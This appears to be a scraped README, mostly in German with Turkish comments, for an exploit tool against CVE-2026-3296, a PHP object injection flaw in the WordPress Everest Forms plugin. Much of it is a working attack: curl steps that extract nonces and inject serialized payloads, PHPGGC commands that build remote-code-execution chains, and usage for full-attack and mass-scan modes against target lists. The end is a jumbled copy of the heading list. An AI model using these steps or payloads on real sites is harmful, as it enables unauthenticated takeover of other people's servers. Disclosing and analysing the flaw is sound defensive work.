CVE-2026-3296

CVE-2026-3296 ist eine nicht authentifizierte PHP-Object-Injection-Schwachstelle (CVSS 9.8, kritisch) im WordPress-Plugin Everest Forms.

CVE-2026-3296 — Everest Forms PHP Object Injection Scanner

Plugin: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder Plugin Slug: everest-forms CVE ID: CVE-2026-3296 CVSS Score: 9.8 (Kritisch) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Schwachstellentyp: Nicht authentifizierte PHP-Object-Injection → RCE Betroffene Versionen: <= 3.4.3 Gepatchte Version: 3.4.4 Veröffentlichungsdatum: 7. April 2026 Forscher: 0xsabre — Mobikwik / Wordfence

📌 Über die Schwachstelle

Das Everest-Forms-Plugin ruft beim Anzeigen der Formular-Eingabe-Metadaten im Admin-Panel die native PHP-Funktion unserialize() ohne den Parameter allowed_classes auf.

Ein nicht authentifizierter Angreifer kann ein serialisiertes PHP-Object-Payload in ein beliebiges öffentliches Formularfeld einbetten und es in der Datenbank speichern. Wenn der Eintrag über das Admin-Panel angezeigt wird, wird unserialize() ausgelöst und eine beliebige POP-Gadget-Chain in der Umgebung ausgeführt.

🔍 Schwachstellenübersicht

⚙️ Technische Analyse

Zwei-Phasen-Angriffsmodell

FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)

Phase 1 — Injektion: Payload-Speicherung

Formular-Übermittlungs-Hook (class-evf-form-task.php, Zeile 75)

// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );

// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

Warum die Sanitisierung unzureichend ist (evf-core-functions.php, Zeile 4754)

// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

Dieses Payload bleibt nach sanitize_text_field() vollständig erhalten:

O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

Zusätzlicher Bug — Vorzeitiges Return (Zeile 4764)

// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}

Schreiben in die Datenbank (class-evf-form-task.php, Zeile 1326)

$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

Phase 2 — Auslösung: Unsichere Deserialisierung

Verwundbarer Code (html-admin-page-entries-view.php, Zeile 130–133)

$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}

Sicherer Wrapper vorhanden, wird aber nicht verwendet (evf-core-functions.php, Zeile 5594)

// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}

Warum bietet die Nonce keinen Schutz?

<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

Die Nonce bietet CSRF-Schutz, keine Authentifizierung. Der Angreifer öffnet die Formularseite per GET, liest die Nonce und sendet anschließend das Payload per POST.

🔴 Vollständige Angriffskette

┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

🧪 Proof of Concept (Manuell)

⚠️ Haftungsausschluss: Dieses PoC dient ausschließlich Bildungs- und defensiven Sicherheitsforschungszwecken.

Voraussetzungen:

Everest Forms <= 3.4.3 installiert und aktiv
Öffentlich zugängliche Formularseite
Zugriff auf das Admin-Panel (zum Auslösen)

Schritt 1 — Form-ID und Nonce abrufen

TARGET="https://target-site.example.com/contact/"

# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

Schritt 2 — Benignes Test-Payload erstellen

# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

Für reale Umgebungen eine POP-Chain mit PHPGGC erzeugen:

# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

Schritt 3 — Payload injizieren

FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

Erwartet: Formular-Erfolgsmeldung oder Weiterleitung.

Schritt 4 — In der Datenbank verifizieren (WP-CLI)

wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# O:8:"stdClass":2:{...} satırı görünmeli

Schritt 5 — Als Admin auslösen

https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

Beim Laden der Seite wird unserialize() ausgeführt.

Schritt 6 — Gadget-Chain-Verifizierung (Testumgebung)

// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}

cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

🛠️ Automatischer Scanner

Installation

git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 Verwendung

Schwachstellenerkennung (Benignes Payload)

python everest_forms_poi.py -u http://hedef.com --mode scan

Nur Injektion (Phase 1)

python everest_forms_poi.py -u http://hedef.com --mode inject \
  --payload-type probe

Vollständiger Angriff (Phase 1 + Phase 2)

python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123!

Manuelle Form-ID + Benutzerdefiniertes Payload

python everest_forms_poi.py -u http://hedef.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

Erkennung über OOB-Callback (Burp Collaborator)

python everest_forms_poi.py -u http://hedef.com --mode scan \
  --payload-type ssrf \
  --callback-url http://your.burp.collaborator.net

Massen-Scan

python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o sonuclar.txt

Mit Proxy (Burp Suite)

python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ Parameter

Modus

Modus	Beschreibung
`scan`	Benignes Payload injizieren — Schwachstellenerkennung
`inject`	Nur Phase 1 — Payload speichern

Allgemeine Parameter

Formularparameter

Payload-Optionen

Admin-Anmeldedaten

Parameter	Beschreibung
`--admin-user`	Admin-Benutzername
`--admin-pass`	Admin-Passwort

💀 Payload-Typen

💡 Erzeugung echter Chains mit PHPGGC:

# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s

# Tüm mevcut chain'leri listele
phpggc -l

📊 Scanner-Ausgabestatus

🖥️ Beispielhafte Scanner-Ausgabe

[*] Hedef         : http://hedef.com
[*] Mod           : full
[*] Payload Tipi  : probe
[*] Komut         : id
[*] Admin User    : admin

[→] http://hedef.com  Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com  Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com  Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com  Adım 4: Entry ID aranıyor...
[→] http://hedef.com  Adım 5: unser

CVE ID	CVE-2026-3296
CVSS	9.8 Kritisch
Typ	PHP Object Injection (Deserialization of Untrusted Data)
Betroffene Version	<= 3.4.3
Gepatchte Version	3.4.4
Authentifizierung	Nicht erforderlich (Injektion), Admin (Auslösung)
CWE	CWE-502: Deserialization of Untrusted Data

`--url`	`-u`	Einzelne Ziel-URL	—
`--list`	`-l`	Ziellisten-Datei	—
`--threads`	`-t`	Anzahl der Threads	`5`
`--output`	`-o`	Ausgabedatei	`poi_results.txt`
`--proxy`	—	Proxy-URL	—
`--force`	—	Auch bei fehlgeschlagener Plugin-Erkennung fortfahren	`False`

`--form-id`	CF7-Formular-ID	automatische Erkennung
`--form-url`	URL der Formularseite	automatische Erkennung
`--field-name`	Name des Zielfelds	automatische Erkennung
`--nonce`	Nonce-Wert des Formulars	automatische Extraktion
`--entry-id`	Entry-ID (Trigger-Modus)	automatische Erkennung

`--payload-type`	Payload-Typ	`probe`
`--custom-payload`	Benutzerdefinierter serialisierter String	—
`--cmd`	RCE-Befehl	`id`
`--callback-url`	OOB-Callback-URL	—

`probe`	Benignes stdClass — keine Nebenwirkungen	Schwachstellenerkennung
`file_write`	Datei schreiben (TestGadget)	Verifizierung in der Testumgebung
`ssrf`	HTTP-Callback — OOB-Erkennung	Burp Collaborator
`wp_rce`	WordPress-POP-Chain-Platzhalter	Mit PHPGGC erzeugen
`yoast_rce`	Yoast-SEO-POP-Chain-Platzhalter	Mit PHPGGC erzeugen
`monolog_rce`	Monolog-POP-Chain-Platzhalter	Mit PHPGGC erzeugen

`★ PWNED`	Deserialisierung ausgelöst + Payload ausgeführt
`★ VULN`	Payload injiziert — Schwachstelle bestätigt
`~ TRIGGERED`	Eintrag angezeigt — Gadget-Chain manuell verifizieren
`- INJ_FAIL`	Injektion fehlgeschlagen (gepatcht / kein Formular)
`~ NO_FORM`	Kein Everest-Forms-Formular gefunden
`- NO_PLUGIN`	Plugin nicht installiert
`~ NO_CREDS`	Admin-Anmeldedaten fehlen
`- ADM_FAIL`	Admin-Login fehlgeschlagen
`~ UNREACH`	Ziel nicht erreichbar

CVE-2026-3296

Beliebteste

CVE-2026-3296

CVE-2026-3296 — Everest Forms PHP Object Injection Scanner

📌 Über die Schwachstelle

🔍 Schwachstellenübersicht

⚙️ Technische Analyse

Zwei-Phasen-Angriffsmodell

Phase 1 — Injektion: Payload-Speicherung

Formular-Übermittlungs-Hook (class-evf-form-task.php, Zeile 75)

Warum die Sanitisierung unzureichend ist (evf-core-functions.php, Zeile 4754)

Zusätzlicher Bug — Vorzeitiges Return (Zeile 4764)

Schreiben in die Datenbank (class-evf-form-task.php, Zeile 1326)

Phase 2 — Auslösung: Unsichere Deserialisierung

Verwundbarer Code (html-admin-page-entries-view.php, Zeile 130–133)

Sicherer Wrapper vorhanden, wird aber nicht verwendet (evf-core-functions.php, Zeile 5594)

Warum bietet die Nonce keinen Schutz?

🔴 Vollständige Angriffskette

🧪 Proof of Concept (Manuell)

Schritt 1 — Form-ID und Nonce abrufen

Schritt 2 — Benignes Test-Payload erstellen

Schritt 3 — Payload injizieren

Schritt 4 — In der Datenbank verifizieren (WP-CLI)

Schritt 5 — Als Admin auslösen

Schritt 6 — Gadget-Chain-Verifizierung (Testumgebung)

🛠️ Automatischer Scanner

Installation

🚀 Verwendung

Schwachstellenerkennung (Benignes Payload)

Nur Injektion (Phase 1)

Vollständiger Angriff (Phase 1 + Phase 2)

Manuelle Form-ID + Benutzerdefiniertes Payload

Erkennung über OOB-Callback (Burp Collaborator)

Massen-Scan

Mit Proxy (Burp Suite)

⚙️ Parameter

Modus

Allgemeine Parameter

Formularparameter

Payload-Optionen

Admin-Anmeldedaten

💀 Payload-Typen

📊 Scanner-Ausgabestatus

🖥️ Beispielhafte Scanner-Ausgabe